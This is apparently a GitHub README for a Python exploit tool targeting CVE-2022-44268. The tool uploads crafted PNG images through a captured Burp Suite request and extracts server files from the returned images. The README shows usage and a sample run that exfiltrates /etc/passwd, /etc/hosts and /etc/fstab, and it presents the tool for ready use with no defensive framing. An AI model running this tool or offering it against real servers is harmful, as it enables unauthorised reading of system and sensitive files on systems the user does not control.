jkobierczynski/cve-2022-44268
Automatic python script using cve-2022-44268 to add a profile value with a filename from a input filelist in an input file, update the image file upload using a input request.req file from Burpsuite (already included) of the file upload uploading each modified image, and download the returned images from the url returned and extract the filecontent and place it in a input directory.
$ ./cve-2022-44268.py
usage: cve-2022-44268.py [-h] base_png filelist request_req output_dir image_output_dir
cve-2022-44268.py: error: the following arguments are required: base_png, filelist, request_req, output_dir, image_output_dir
$ ./cve-2022-44268.py image.png filelist.lst request.req output_dir image_output_dir
Exploiting for file: /etc/passwd
Saved shrunk image to: image_output_dir/etc_passwd_shrunk.png
Saved extracted content to: output_dir/etc_passwd
Exploiting for file: /etc/hosts
Saved shrunk image to: image_output_dir/etc_hosts_shrunk.png
Saved extracted content to: output_dir/etc_hosts
Exploiting for file: /etc/fstab
Saved shrunk image to: image_output_dir/etc_fstab_shrunk.png
Saved extracted content to: output_dir/etc_fstab